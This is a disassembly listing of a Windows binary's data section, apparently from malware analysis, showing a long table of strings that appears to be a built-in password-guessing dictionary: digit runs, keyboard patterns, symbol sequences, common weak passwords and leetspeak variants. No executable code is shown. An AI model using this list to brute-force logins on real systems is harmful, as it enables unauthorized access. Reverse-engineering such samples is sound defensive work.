a88888		db '88888',0            ; DATA XREF: .nsp0:00427070o
		align 10h
a8888		db '8888',0             ; DATA XREF: .nsp0:0042706Co
		align 4
a888		db '888',0              ; DATA XREF: .nsp0:00427068o
a88		db '88',0               ; DATA XREF: .nsp0:00427064o
		align 10h
a8:					; DATA XREF: .nsp0:00427060o
		unicode	0, <8>,0
a7777777777	db '7777777777',0       ; DATA XREF: .nsp0:0042705Co
		align 10h
a777777777	db '777777777',0        ; DATA XREF: .nsp0:00427058o
		align 4
a77777777	db '77777777',0         ; DATA XREF: .nsp0:00427054o
		align 4
a7777777	db '7777777',0          ; DATA XREF: .nsp0:00427050o
a777777		db '777777',0           ; DATA XREF: .nsp0:0042704Co
		align 4
a77777		db '77777',0            ; DATA XREF: .nsp0:00427048o
		align 10h
a7777		db '7777',0             ; DATA XREF: .nsp0:00427044o
		align 4
a777		db '777',0              ; DATA XREF: .nsp0:00427040o
a77		db '77',0               ; DATA XREF: .nsp0:0042703Co
		align 10h
a7:					; DATA XREF: .nsp0:00427038o
		unicode	0, <7>,0
a6666666666	db '6666666666',0       ; DATA XREF: .nsp0:00427034o
		align 10h
a666666666	db '666666666',0        ; DATA XREF: .nsp0:00427030o
		align 4
a66666666	db '66666666',0         ; DATA XREF: .nsp0:0042702Co
		align 4
a6666666	db '6666666',0          ; DATA XREF: .nsp0:00427028o
a666666		db '666666',0           ; DATA XREF: .nsp0:00427024o
		align 4
a66666		db '66666',0            ; DATA XREF: .nsp0:00427020o
		align 10h
a6666		db '6666',0             ; DATA XREF: .nsp0:0042701Co
		align 4
a666		db '666',0              ; DATA XREF: .nsp0:00427018o
a66		db '66',0               ; DATA XREF: .nsp0:00427014o
		align 10h
a6:					; DATA XREF: .nsp0:00427010o
		unicode	0, <6>,0
a5555555555	db '5555555555',0       ; DATA XREF: .nsp0:0042700Co
		align 10h
a555555555	db '555555555',0        ; DATA XREF: .nsp0:00427008o
		align 4
a55555555	db '55555555',0         ; DATA XREF: .nsp0:00427004o
		align 4
a5555555	db '5555555',0          ; DATA XREF: .nsp0:00427000o
a555555		db '555555',0           ; DATA XREF: .nsp0:00426FFCo
		align 4
a55555		db '55555',0            ; DATA XREF: .nsp0:00426FF8o
		align 10h
a5555		db '5555',0             ; DATA XREF: .nsp0:00426FF4o
		align 4
a555		db '555',0              ; DATA XREF: .nsp0:00426FF0o
a55		db '55',0               ; DATA XREF: .nsp0:00426FECo
		align 10h
a5:					; DATA XREF: .nsp0:00426FE8o
		unicode	0, <5>,0
a4444444444	db '4444444444',0       ; DATA XREF: .nsp0:00426FE4o
		align 10h
a444444444	db '444444444',0        ; DATA XREF: .nsp0:00426FE0o
		align 4
a44444444	db '44444444',0         ; DATA XREF: .nsp0:00426FDCo
		align 4
a4444444	db '4444444',0          ; DATA XREF: .nsp0:00426FD8o
a444444		db '444444',0           ; DATA XREF: .nsp0:00426FD4o
		align 4
a44444		db '44444',0            ; DATA XREF: .nsp0:00426FD0o
		align 10h
a4444		db '4444',0             ; DATA XREF: .nsp0:00426FCCo
		align 4
a444		db '444',0              ; DATA XREF: .nsp0:00426FC8o
a44		db '44',0               ; DATA XREF: .nsp0:00426FC4o
		align 10h
a4_0:					; DATA XREF: .nsp0:00426FC0o
		unicode	0, <4>,0
a3333333333	db '3333333333',0       ; DATA XREF: .nsp0:00426FBCo
		align 10h
a333333333	db '333333333',0        ; DATA XREF: .nsp0:00426FB8o
		align 4
a33333333	db '33333333',0         ; DATA XREF: .nsp0:00426FB4o
		align 4
a3333333	db '3333333',0          ; DATA XREF: .nsp0:00426FB0o
a333333		db '333333',0           ; DATA XREF: .nsp0:00426FACo
		align 4
a33333		db '33333',0            ; DATA XREF: .nsp0:00426FA8o
		align 10h
a3333		db '3333',0             ; DATA XREF: .nsp0:00426FA4o
		align 4
a333		db '333',0              ; DATA XREF: .nsp0:00426FA0o
a33		db '33',0               ; DATA XREF: .nsp0:00426F9Co
		align 10h
a3:					; DATA XREF: .nsp0:00426F98o
		unicode	0, <3>,0
a2222222222	db '2222222222',0       ; DATA XREF: .nsp0:00426F94o
		align 10h
a222222222	db '222222222',0        ; DATA XREF: .nsp0:00426F90o
		align 4
a22222222	db '22222222',0         ; DATA XREF: .nsp0:00426F8Co
		align 4
a2222222	db '2222222',0          ; DATA XREF: .nsp0:00426F88o
a222222		db '222222',0           ; DATA XREF: .nsp0:00426F84o
		align 4
a22222		db '22222',0            ; DATA XREF: .nsp0:00426F80o
		align 10h
a2222		db '2222',0             ; DATA XREF: .nsp0:00426F7Co
		align 4
a222		db '222',0              ; DATA XREF: .nsp0:00426F78o
a22		db '22',0               ; DATA XREF: .nsp0:00426F74o
		align 10h
a2:					; DATA XREF: .nsp0:00426F70o
		unicode	0, <2>,0
a1111111111	db '1111111111',0       ; DATA XREF: .nsp0:00426F6Co
		align 10h
a111111111	db '111111111',0        ; DATA XREF: .nsp0:00426F68o
		align 4
a1111111	db '1111111',0          ; DATA XREF: .nsp0:00426F60o
a11111		db '11111',0            ; DATA XREF: .nsp0:00426F58o
		align 4
a1111		db '1111',0             ; DATA XREF: .nsp0:00426F54o
		align 4
a11		db '11',0               ; DATA XREF: .nsp0:00426F4Co
		align 4
a010		db '010',0              ; DATA XREF: .nsp0:00426F3Co
a009		db '009',0              ; DATA XREF: .nsp0:00426F38o
a008		db '008',0              ; DATA XREF: .nsp0:00426F34o
a006		db '006',0              ; DATA XREF: .nsp0:00426F2Co
a005		db '005',0              ; DATA XREF: sub_401AC7+215o
					; .nsp0:00426F28o
a004		db '004',0              ; DATA XREF: .nsp0:00426F24o
a003		db '003',0              ; DATA XREF: .nsp0:00426F20o
a002		db '002',0              ; DATA XREF: .nsp0:00426F1Co
a001		db '001',0              ; DATA XREF: sub_401AC7+200o
					; .nsp0:00426F18o
asc_4281CC	db '*********',0        ; DATA XREF: .nsp0:00426F14o
		align 4
asc_4281D8	db '********',0         ; DATA XREF: .nsp0:00426F10o
		align 4
asc_4281E4	db '*******',0          ; DATA XREF: .nsp0:00426F0Co
asc_4281EC	db '******',0           ; DATA XREF: .nsp0:00426F08o
		align 4
asc_4281F4	db '*****',0            ; DATA XREF: .nsp0:00426F04o
		align 4
asc_4281FC	db '****',0             ; DATA XREF: .nsp0:00426F00o
		align 4
asc_428204	db '***',0              ; DATA XREF: .nsp0:00426EFCo
asc_428208	db '**',0               ; DATA XREF: .nsp0:00426EF8o
		align 4
asc_42820C:				; DATA XREF: sub_40E7B9+157o
					; .nsp0:00426EF4o
		unicode	0, <*>,0
a0000000000	db '0000000000',0       ; DATA XREF: .nsp0:00426EF0o
		align 4
a000000000	db '000000000',0        ; DATA XREF: .nsp0:00426EECo
		align 4
a@		db '@!',0               ; DATA XREF: .nsp0:00426ECCo
		align 4
a@_0		db '#@!',0              ; DATA XREF: .nsp0:00426EC8o
a@_1		db '$#@!',0             ; DATA XREF: .nsp0:00426EC4o
		align 4
a@_2		db '%$#@!',0            ; DATA XREF: .nsp0:00426EC0o
		align 10h
a@_3		db '^%$#@!',0           ; DATA XREF: .nsp0:00426EBCo
		align 4
a@_4		db '&^%$#@!',0          ; DATA XREF: .nsp0:00426EB8o
a@_5		db '*&^%$#@!',0         ; DATA XREF: .nsp0:00426EB4o
		align 4
asc_42825C	db '$$$',0              ; DATA XREF: .nsp0:00426EB0o
asc_428260	db '$$',0               ; DATA XREF: .nsp0:00426EACo
		align 4
asc_428264:				; DATA XREF: .nsp0:00426EA8o
		unicode	0, <$>,0
a456_0		db '456+',0             ; DATA XREF: .nsp0:00426EA4o
		align 10h
a789_0		db '789+',0             ; DATA XREF: .nsp0:00426EA0o
		align 4
a0		db '=-0',0              ; DATA XREF: .nsp0:00426E9Co
asc_42827C	db '--++',0             ; DATA XREF: .nsp0:00426E98o
		align 4
asc_428284	db '-+',0               ; DATA XREF: .nsp0:00426E94o
		align 4
asc_428288	db '----',0             ; DATA XREF: .nsp0:00426E90o
		align 10h
asc_428290	db '--',0               ; DATA XREF: .nsp0:00426E88o
					; .nsp0:00426E8Co
		align 4
asc_428294:				; DATA XREF: .nsp0:00426E84o
		unicode	0, <->,0
asc_428298	db '++++',0             ; DATA XREF: .nsp0:00426E80o
		align 10h
asc_4282A0	db '+++',0              ; DATA XREF: .nsp0:00426E7Co
asc_4282A4	db '++',0               ; DATA XREF: .nsp0:00426E78o
		align 4
asc_4282A8:				; DATA XREF: .nsp0:00426E74o
		unicode	0, <+>,0
a@@		db '@@',0               ; DATA XREF: .nsp0:00426E70o
		align 10h
a@_6:					; DATA XREF: sub_401AC7+23Ao
					; .nsp0:00426E6Co
		unicode	0, <@>,0
off_4282B4	dd offset loc_40211D+4	; DATA XREF: .nsp0:00426E68o
dword_4282B8	dd 2121h		; DATA XREF: .nsp0:00426E64o
dword_4282BC	dd 23h			; DATA XREF: sub_401AC7+790o
					; sub_40BB80+1Bo ...
dword_4282C0	dd 24234021h, 2A265E25h, 0 ; DATA XREF:	.nsp0:00426E5Co
dword_4282CC	dd 24234021h, 265E25h	; DATA XREF: .nsp0:00426E58o
dword_4282D4	dd 24234021h, 5E25h	; DATA XREF: .nsp0:00426E54o
dword_4282DC	dd 24234021h, 25h	; DATA XREF: .nsp0:00426E50o
dword_4282E4	dd 234021h		; DATA XREF: .nsp0:00426E4Co
dword_4282E8	dd 4021h		; DATA XREF: .nsp0:00426E48o
dword_4282EC	dd 21h			; DATA XREF: sub_401AC7+19Ao
					; sub_401AC7+6FA4o ...
dword_4282F0	dd 25h			; DATA XREF: .nsp0:00426E40o
aZimmerman	db 'zimmerman',0        ; DATA XREF: .nsp0:00426E3Co
		align 10h
aZap		db 'zap',0              ; DATA XREF: .nsp0:00426E38o
aYellowstone	db 'yellowstone',0      ; DATA XREF: .nsp0:00426E34o
aXyz		db 'xyz',0              ; DATA XREF: .nsp0:00426E30o
					; .nsp0:00427328o
aWisconsin	db 'wisconsin',0        ; DATA XREF: .nsp0:00426E2Co
		align 10h
aWilliamsburg	db 'williamsburg',0     ; DATA XREF: .nsp0:00426E28o
		align 10h
aWholesale	db 'wholesale',0        ; DATA XREF: .nsp0:00426E24o
		align 4
aTty		db 'tty',0              ; DATA XREF: .nsp0:00426E20o
aTopography	db 'topography',0       ; DATA XREF: .nsp0:00426E1Co
		align 4
aTemptation	db 'temptation',0       ; DATA XREF: .nsp0:00426E18o
		align 4
aTelephone	db 'telephone',0        ; DATA XREF: .nsp0:00426E14o
		align 4
aTangerine	db 'tangerine',0        ; DATA XREF: .nsp0:00426E10o
		align 10h
aSys		db 'sys',0              ; DATA XREF: .nsp0:00426E0Co
aSupported	db 'supported',0        ; DATA XREF: .nsp0:00426E08o
		align 10h
aSuperuser	db 'superuser',0        ; DATA XREF: .nsp0:00426E04o
		align 4
aSuperstage	db 'superstage',0       ; DATA XREF: .nsp0:00426E00o
		align 4
aSun		db 'sun',0              ; DATA XREF: .nsp0:00426DFCo
aStuttgart	db 'stuttgart',0        ; DATA XREF: .nsp0:00426DF8o
		align 4
aStratford	db 'stratford',0        ; DATA XREF: .nsp0:00426DF4o
		align 4
aStephanie	db 'stephanie',0        ; DATA XREF: .nsp0:00426DF0o
		align 10h
aSignature	db 'signature',0        ; DATA XREF: .nsp0:00426DECo
		align 4
aSheffield	db 'sheffield',0        ; DATA XREF: .nsp0:00426DE8o
		align 4
aSal		db 'sal',0              ; DATA XREF: .nsp0:00426DE4o
aRochester	db 'rochester',0        ; DATA XREF: .nsp0:00426DE0o
		align 4
aRje		db 'rje',0              ; DATA XREF: .nsp0:00426DDCo
aRachmaninoff	db 'rachmaninoff',0     ; DATA XREF: .nsp0:00426DD8o
		align 4
aPub		db 'pub',0              ; DATA XREF: .nsp0:00426DD4o
aProfessor	db 'professor',0        ; DATA XREF: .nsp0:00426DD0o
		align 4
aPrinceton	db 'princeton',0        ; DATA XREF: .nsp0:00426DCCo
		align 4
aPondering	db 'pondering',0        ; DATA XREF: .nsp0:00426DC8o
		align 4
aPolynomial	db 'polynomial',0       ; DATA XREF: .nsp0:00426DC4o
		align 10h
aPersimmon	db 'persimmon',0        ; DATA XREF: .nsp0:00426DC0o
		align 4
aPercolate	db 'percolate',0        ; DATA XREF: .nsp0:00426DBCo
		align 4
aPam		db 'pam',0              ; DATA XREF: .nsp0:00426DB8o
aPad		db 'pad',0              ; DATA XREF: .nsp0:00426DB4o
aOceanography	db 'oceanography',0     ; DATA XREF: .nsp0:00426DB0o
		align 10h
aNutrition	db 'nutrition',0        ; DATA XREF: .nsp0:00426DACo
		align 4
aNew		db 'new',0              ; DATA XREF: .nsp0:00426DA8o
aNet		db 'net',0              ; DATA XREF: sub_401AC7+3C84o
					; .nsp0:00426DA4o
aMit		db 'mit',0              ; DATA XREF: .nsp0:00426DA0o
aMgr		db 'mgr',0              ; DATA XREF: .nsp0:00426D9Co
aMacintosh	db 'macintosh',0        ; DATA XREF: .nsp0:00426D98o
		align 4
aLiz		db 'liz',0              ; DATA XREF: .nsp0:00426D94o
aLee		db 'lee',0              ; DATA XREF: .nsp0:00426D90o
aLamination	db 'lamination',0       ; DATA XREF: .nsp0:00426D8Co
		align 4
aKim		db 'kim',0              ; DATA XREF: .nsp0:00426D88o
aKey		db 'key',0              ; DATA XREF: sub_401AC7+14F7o
					; .nsp0:00426D84o
aJoy		db 'joy',0              ; DATA XREF: .nsp0:00426D80o
aJen		db 'jen',0              ; DATA XREF: .nsp0:00426D7Co
aInnocuous	db 'innocuous',0        ; DATA XREF: .nsp0:00426D78o
		align 4
aImbroglio	db 'imbroglio',0        ; DATA XREF: .nsp0:00426D74o
		align 4
aIbm		db 'ibm',0              ; DATA XREF: .nsp0:00426D70o
aHappening	db 'happening',0        ; DATA XREF: .nsp0:00426D6Co
		align 4
aHal		db 'hal',0              ; DATA XREF: .nsp0:00426D68o
aGnu		db 'gnu',0              ; DATA XREF: .nsp0:00426D64o
aFun		db 'fun',0              ; DATA XREF: .nsp0:00426D60o
aForesight	db 'foresight',0        ; DATA XREF: .nsp0:00426D5Co
		align 4
aFoolproof	db 'foolproof',0        ; DATA XREF: .nsp0:00426D58o
		align 4
aExtension	db 'extension',0        ; DATA XREF: .nsp0:00426D54o
		align 4
aEstablish	db 'establish',0        ; DATA XREF: .nsp0:00426D50o
		align 10h
aEnterprise	db 'enterprise',0       ; DATA XREF: .nsp0:00426D4Co
		align 4
aElizabeth	db 'elizabeth',0        ; DATA XREF: .nsp0:00426D48o
		align 4
aEiderdown	db 'eiderdown',0        ; DATA XREF: .nsp0:00426D44o
		align 4
aEdinburgh	db 'edinburgh',0        ; DATA XREF: .nsp0:00426D40o
		align 10h
aDos		db 'dos',0              ; DATA XREF: .nsp0:00426D3Co
aDog		db 'dog',0              ; DATA XREF: .nsp0:00426D38o
aDiscovery	db 'discovery',0        ; DATA XREF: .nsp0:00426D34o
		align 4
aDesperate	db 'desperate',0        ; DATA XREF: .nsp0:00426D30o
		align 10h
aDeb		db 'deb',0              ; DATA XREF: .nsp0:00426D2Co
aCornelius	db 'cornelius',0        ; DATA XREF: .nsp0:00426D28o
		align 10h
aCommrades	db 'commrades',0        ; DATA XREF: .nsp0:00426D24o
		align 4
aChristine	db 'christine',0        ; DATA XREF: .nsp0:00426D20o
		align 4
aChristina	db 'christina',0        ; DATA XREF: .nsp0:00426D1Co
		align 4
aChemistry	db 'chemistry',0        ; DATA XREF: .nsp0:00426D18o
		align 10h
aCatherine	db 'catherine',0        ; DATA XREF: .nsp0:00426D14o
		align 4
aCat		db 'cat',0              ; DATA XREF: .nsp0:00426D10o
aCampanile	db 'campanile',0        ; DATA XREF: .nsp0:00426D0Co
		align 4
aCad		db 'cad',0              ; DATA XREF: .nsp0:00426D08o
aBsd		db 'bsd',0              ; DATA XREF: .nsp0:00426D04o
aBob		db 'bob',0              ; DATA XREF: .nsp0:00426D00o
aBicameral	db 'bicameral',0        ; DATA XREF: .nsp0:00426CFCo
		align 4
aBeethoven	db 'beethoven',0        ; DATA XREF: .nsp0:00426CF8o
		align 10h
aAtmosphere	db 'atmosphere',0       ; DATA XREF: .nsp0:00426CF4o
		align 4
aAsm		db 'asm',0              ; DATA XREF: .nsp0:00426CF0o
aAsd		db 'asd',0              ; DATA XREF: .nsp0:00426CECo
					; .nsp0:00427358o
aAnthropogenic	db 'anthropogenic',0    ; DATA XREF: .nsp0:00426CE8o
		align 4
aAnn		db 'ann',0              ; DATA XREF: .nsp0:00426CE4o
aAndromache	db 'andromache',0       ; DATA XREF: .nsp0:00426CE0o
		align 4
aAmy		db 'amy',0              ; DATA XREF: .nsp0:00426CDCo
aAmorphous	db 'amorphous',0        ; DATA XREF: .nsp0:00426CD8o
		align 4
aAma		db 'ama',0              ; DATA XREF: .nsp0:00426CD4o
aAlf		db 'alf',0              ; DATA XREF: .nsp0:00426CD0o
aAlbatross	db 'albatross',0        ; DATA XREF: .nsp0:00426CCCo
		align 4
aAda		db 'ada',0              ; DATA XREF: .nsp0:00426CC8o
aH4x0ring	db 'h4x0ring',0         ; DATA XREF: .nsp0:00426CC4o
		align 4
aH4x0r1ng	db 'h4x0r1ng',0         ; DATA XREF: .nsp0:00426CC0o
		align 4
aH4x1ng		db 'h4x1ng',0           ; DATA XREF: .nsp0:00426CBCo
		align 4
aHaxing		db 'haxing',0           ; DATA XREF: .nsp0:00426CB8o
		align 4
aHax		db 'hax',0              ; DATA XREF: .nsp0:00426CB4o
aWh0re		db 'wh0re',0            ; DATA XREF: .nsp0:00426CB0o
		align 10h
aHo		db 'ho',0               ; DATA XREF: .nsp0:00426CACo
		align 4
aWh0r3		db 'wh0r3',0            ; DATA XREF: .nsp0:00426CA8o
		align 4
aWindoze95	db 'windoze95',0        ; DATA XREF: .nsp0:00426CA4o
		align 4
aWindoze98	db 'windoze98',0        ; DATA XREF: .nsp0:00426CA0o
		align 4
aWindozeme	db 'windozeME',0        ; DATA XREF: .nsp0:00426C9Co
		align 10h
aWindoze2k	db 'windoze2k',0        ; DATA XREF: .nsp0:00426C98o
		align 4
aWindozexp	db 'windozexp',0        ; DATA XREF: .nsp0:00426C94o
		align 4
aWindows95	db 'windows95',0        ; DATA XREF: .nsp0:00426C90o
		align 4
aWindows98	db 'windows98',0        ; DATA XREF: .nsp0:00426C8Co
		align 10h
aWindowsme	db 'windowsME',0        ; DATA XREF: .nsp0:00426C88o
		align 4
aWindows2k	db 'windows2k',0        ; DATA XREF: .nsp0:00426C84o
		align 4
aWindowsxp	db 'WindowsXP',0        ; DATA XREF: .nsp0:00426C80o
		align 4
aMs		db 'MS',0               ; DATA XREF: .nsp0:00426C7Co
		align 4
aM_0		db 'M$',0               ; DATA XREF: .nsp0:00426C78o
		align 4
aBilly		db 'billy',0            ; DATA XREF: .nsp0:00426C74o
		align 4
aWindose	db 'windose',0          ; DATA XREF: .nsp0:00426C70o
aWindoze	db 'windoze',0          ; DATA XREF: .nsp0:00426C6Co
aWindowz	db 'windowz',0          ; DATA XREF: .nsp0:00426C68o
aWileecoyote	db 'wileecoyote',0      ; DATA XREF: .nsp0:00426C64o
aDonaldduck	db 'donaldduck',0       ; DATA XREF: .nsp0:00426C60o
		align 4
aAlexander	db 'Alexander',0        ; DATA XREF: .nsp0:00426C5Co
		align 10h
aAl3x		db 'Al3x',0             ; DATA XREF: .nsp0:00426C58o
		align 4
aDud3		db 'dud3',0             ; DATA XREF: .nsp0:00426C54o
		align 10h
aDudette	db 'dudette',0          ; DATA XREF: .nsp0:00426C50o
aD00d		db 'd00d',0             ; DATA XREF: .nsp0:00426C4Co
		align 10h
aLol		db 'lol',0              ; DATA XREF: .nsp0:00426C48o
					; .nsp0:00438E08o
aRoscopcoltrane	db 'RoscoPColtrane',0   ; DATA XREF: .nsp0:00426C44o
		align 4
aRoscop		db 'RoscoP',0           ; DATA XREF: .nsp0:00426C40o
		align 4
aRosco		db 'Rosco',0            ; DATA XREF: .nsp0:00426C3Co
		align 4
aRoss		db 'Ross',0             ; DATA XREF: .nsp0:00426C38o
		align 4
aTestin		db 'testin',0           ; DATA XREF: .nsp0:00426C34o
		align 4
aTester		db 'tester',0           ; DATA XREF: .nsp0:00426C30o
		align 4
a00000000	db '00000000',0         ; DATA XREF: .nsp0:00426C2Co
					; .nsp0:00426EE8o
		align 4
aZulu		db 'zulu',0             ; DATA XREF: .nsp0:00426C28o
		align 10h
aZombie		db 'zombie',0           ; DATA XREF: .nsp0:00426C24o
		align 4
aZmodem		db 'zmodem',0           ; DATA XREF: .nsp0:00426C20o
		align 10h
aZimmerma	db 'zimmerma',0         ; DATA XREF: .nsp0:00426C1Co
		align 4
aZiggy		db 'ziggy',0            ; DATA XREF: .nsp0:00426C18o
		align 4
aZeitgeis	db 'zeitgeis',0         ; DATA XREF: .nsp0:00426C14o
		align 10h
aZebra		db 'zebra',0            ; DATA XREF: .nsp0:00426C10o
		align 4
aYoung		db 'young',0            ; DATA XREF: .nsp0:00426C0Co
		align 10h
aYosemite	db 'yosemite',0         ; DATA XREF: .nsp0:00426C08o
		align 4
aYolanda	db 'yolanda',0          ; DATA XREF: .nsp0:00426C04o
aYellowst	db 'yellowst',0         ; DATA XREF: .nsp0:00426C00o
		align 10h
aYellow		db 'yellow',0           ; DATA XREF: .nsp0:00426BFCo
		align 4
aYankee		db 'yankee',0           ; DATA XREF: .nsp0:00426BF8o
		align 10h
aYang		db 'yang',0             ; DATA XREF: .nsp0:00426BF4o
					; .nsp0:00427330o
		align 4
aYaco		db 'yaco',0             ; DATA XREF: .nsp0:00426BF0o
					; .nsp0:0042732Co
		align 10h
aXyzzy		db 'xyzzy',0            ; DATA XREF: .nsp0:00426BECo
		align 4
aXray		db 'xray',0             ; DATA XREF: .nsp0:00426BE8o
		align 10h
aXmodem		db 'xmodem',0           ; DATA XREF: .nsp0:00426BE4o
		align 4
aXmen		db 'xmen',0             ; DATA XREF: .nsp0:00426BE0o
		align 10h
aXman		db 'xman',0             ; DATA XREF: .nsp0:00426BDCo
		align 4
aXfer		db 'xfer',0             ; DATA XREF: .nsp0:00426BD8o
		align 10h
aXena		db 'xena',0             ; DATA XREF: .nsp0:00426BD4o
		align 4
aWyoming	db 'wyoming',0          ; DATA XREF: .nsp0:00426BD0o
aWwii		db 'wwii',0             ; DATA XREF: .nsp0:00426BCCo
		align 4
aWormwood	db 'wormwood',0         ; DATA XREF: .nsp0:00426BC8o
		align 4
aWorm		db 'worm',0             ; DATA XREF: .nsp0:00426BC4o
		align 4
aWork		db 'work',0             ; DATA XREF: .nsp0:00426BC0o
		align 4
aWorf		db 'worf',0             ; DATA XREF: .nsp0:00426BBCo
		align 4
aWordperf	db 'wordperf',0         ; DATA XREF: .nsp0:00426BB8o
		align 4
aWord		db 'word',0             ; DATA XREF: .nsp0:00426BB4o
		align 10h
aWoodwind	db 'woodwind',0         ; DATA XREF: .nsp0:00426BB0o
		align 4
aWood		db 'wood',0             ; DATA XREF: .nsp0:00426BACo
		align 4
aWomen		db 'women',0            ; DATA XREF: .nsp0:00426BA8o
		align 4
aWombat		db 'wombat',0           ; DATA XREF: .nsp0:00426BA4o
		align 4
aWoman		db 'woman',0            ; DATA XREF: .nsp0:00426BA0o
		align 4
aWolverin	db 'wolverin',0         ; DATA XREF: .nsp0:00426B9Co
		align 4
aWolf		db 'wolf',0             ; DATA XREF: .nsp0:00426B98o
		align 10h
aWizard		db 'wizard',0           ; DATA XREF: .nsp0:00426B94o
		align 4
aWithin		db 'within',0           ; DATA XREF: .nsp0:00426B90o
		align 10h
aWiseass	db 'wiseass',0          ; DATA XREF: .nsp0:00426B8Co
aWisconsi	db 'wisconsi',0         ; DATA XREF: .nsp0:00426B88o
		align 4
aWired		db 'wired',0            ; DATA XREF: .nsp0:00426B84o
		align 4
aWinston	db 'winston',0          ; DATA XREF: .nsp0:00426B80o
aWing		db 'wing',0             ; DATA XREF: .nsp0:00426B7Co
		align 4
aWine		db 'wine',0             ; DATA XREF: .nsp0:00426B78o
		align 4
aWindows	db 'windows',0          ; DATA XREF: .nsp0:00426B74o
aWilma		db 'wilma',0            ; DATA XREF: .nsp0:00426B70o
		align 4
aWillie		db 'willie',0           ; DATA XREF: .nsp0:00426B6Co
		align 4
aWilliams	db 'williams',0         ; DATA XREF: .nsp0:00426B68o
		align 4
aWilliam	db 'william',0          ; DATA XREF: .nsp0:00426B64o
aWill		db 'will',0             ; DATA XREF: .nsp0:00426B60o
		align 4
aWhore		db 'whore',0            ; DATA XREF: .nsp0:00426B5Co
		align 10h
aWholesal	db 'wholesal',0         ; DATA XREF: .nsp0:00426B58o
		align 4
aWhitney	db 'whitney',0          ; DATA XREF: .nsp0:00426B54o
aWhiting	db 'whiting',0          ; DATA XREF: .nsp0:00426B50o
aWhite		db 'white',0            ; DATA XREF: .nsp0:00426B4Co
		align 4
aWhisky		db 'whisky',0           ; DATA XREF: .nsp0:00426B48o
		align 4
aWhatnot	db 'whatnot',0          ; DATA XREF: .nsp0:00426B44o
aWhatever	db 'whatever',0         ; DATA XREF: .nsp0:00426B40o
		align 10h
aWestern	db 'western',0          ; DATA XREF: .nsp0:00426B3Co
aWest		db 'west',0             ; DATA XREF: .nsp0:00426B38o
		align 10h
aWerewolf	db 'werewolf',0         ; DATA XREF: .nsp0:00426B34o
		align 4
aWendy		db 'wendy',0            ; DATA XREF: .nsp0:00426B30o
		align 4
aWendi		db 'wendi',0            ; DATA XREF: .nsp0:00426B2Co
		align 4
aWell		db 'well',0             ; DATA XREF: .nsp0:00426B28o
		align 4
aWeenie		db 'weenie',0           ; DATA XREF: .nsp0:00426B24o
		align 4
aWeed		db 'weed',0             ; DATA XREF: .nsp0:00426B20o
		align 4
aWednesda	db 'wednesda',0         ; DATA XREF: .nsp0:00426B1Co
		align 10h
aWebpage	db 'webpage',0          ; DATA XREF: .nsp0:00426B18o
aWave		db 'wave',0             ; DATA XREF: .nsp0:00426B14o
		align 10h
aWater		db 'water',0            ; DATA XREF: .nsp0:00426B10o
		align 4
aWatchwor	db 'watchwor',0         ; DATA XREF: .nsp0:00426B0Co
		align 4
aWasp		db 'wasp',0             ; DATA XREF: .nsp0:00426B08o
		align 4
aWarren		db 'warren',0           ; DATA XREF: .nsp0:00426B04o
		align 4
aWarp		db 'warp',0             ; DATA XREF: .nsp0:00426B00o
		align 4
aWargames	db 'wargames',0         ; DATA XREF: .nsp0:00426AFCo
		align 4
aWarfare	db 'warfare',0          ; DATA XREF: .nsp0:00426AF8o
aWarez		db 'warez',0            ; DATA XREF: .nsp0:00426AF4o
		align 4
aWard		db 'ward',0             ; DATA XREF: .nsp0:00426AF0o
		align 10h
aWaco		db 'waco',0             ; DATA XREF: .nsp0:00426AECo
		align 4
aVodka		db 'vodka',0            ; DATA XREF: .nsp0:00426AE8o
		align 10h
aVisualba	db 'visualba',0         ; DATA XREF: .nsp0:00426AE4o
		align 4
aVisual		db 'visual',0           ; DATA XREF: .nsp0:00426AE0o
		align 4
aVisitor	db 'visitor',0          ; DATA XREF: .nsp0:00426ADCo
aVirus		db 'virus',0            ; DATA XREF: .nsp0:00426AD8o
		align 4
aVirginia	db 'virginia',0         ; DATA XREF: .nsp0:00426AD4o
		align 10h
aVirgin		db 'virgin',0           ; DATA XREF: .nsp0:00426AD0o
		align 4
aVillage	db 'village',0          ; DATA XREF: .nsp0:00426ACCo
aVideogam	db 'videogam',0         ; DATA XREF: .nsp0:00426AC8o
		align 4
aVideo		db 'video',0            ; DATA XREF: .nsp0:00426AC4o
		align 4
aVictor		db 'victor',0           ; DATA XREF: .nsp0:00426AC0o
		align 4
aVicky		db 'vicky',0            ; DATA XREF: .nsp0:00426ABCo
		align 4
aVertigo	db 'vertigo',0          ; DATA XREF: .nsp0:00426AB8o
aVeronica	db 'veronica',0         ; DATA XREF: .nsp0:00426AB4o
		align 4
aVenus		db 'venus',0            ; DATA XREF: .nsp0:00426AB0o
		align 10h
aVasant		db 'vasant',0           ; DATA XREF: .nsp0:00426AACo
		align 4
aVampire	db 'vampire',0          ; DATA XREF: .nsp0:00426AA8o
aValerie	db 'valerie',0          ; DATA XREF: .nsp0:00426AA4o
aVagina		db 'vagina',0           ; DATA XREF: .nsp0:00426AA0o
		align 10h
aUucp		db 'uucp',0             ; DATA XREF: .nsp0:00426A9Co
		align 4
aUtility	db 'utility',0          ; DATA XREF: .nsp0:00426A98o
aUtil		db 'util',0             ; DATA XREF: .nsp0:00426A94o
		align 4
aUsmc		db 'usmc',0             ; DATA XREF: .nsp0:00426A90o
		align 10h
aUsername	db 'username',0         ; DATA XREF: .nsp0:00426A8Co
		align 4
aUsermane	db 'usermane',0         ; DATA XREF: .nsp0:00426A88o
		align 4
aUsenet		db 'usenet',0           ; DATA XREF: .nsp0:00426A84o
		align 10h
aUrsula		db 'ursula',0           ; DATA XREF: .nsp0:00426A80o
		align 4
aUrchin		db 'urchin',0           ; DATA XREF: .nsp0:00426A7Co
		align 10h
aUranus		db 'uranus',0           ; DATA XREF: .nsp0:00426A78o
		align 4
aUpload		db 'upload',0           ; DATA XREF: sub_401AC7+4F53o
					; .nsp0:00426A74o
		align 10h
aUnlock		db 'unlock',0           ; DATA XREF: .nsp0:00426A70o
		align 4
aUnknown_0	db 'unknown',0          ; DATA XREF: .nsp0:00426A6Co
aUniversi	db 'universi',0         ; DATA XREF: .nsp0:00426A68o
		align 4
aUniverse	db 'universe',0         ; DATA XREF: .nsp0:00426A64o
		align 4
aUniversa	db 'universa',0         ; DATA XREF: .nsp0:00426A60o
		align 4
aUniform	db 'uniform',0          ; DATA XREF: .nsp0:00426A5Co
aUnicorn	db 'unicorn',0          ; DATA XREF: .nsp0:00426A58o
aUnhappy	db 'unhappy',0          ; DATA XREF: .nsp0:00426A54o
aUndo		db 'undo',0             ; DATA XREF: .nsp0:00426A50o
		align 4
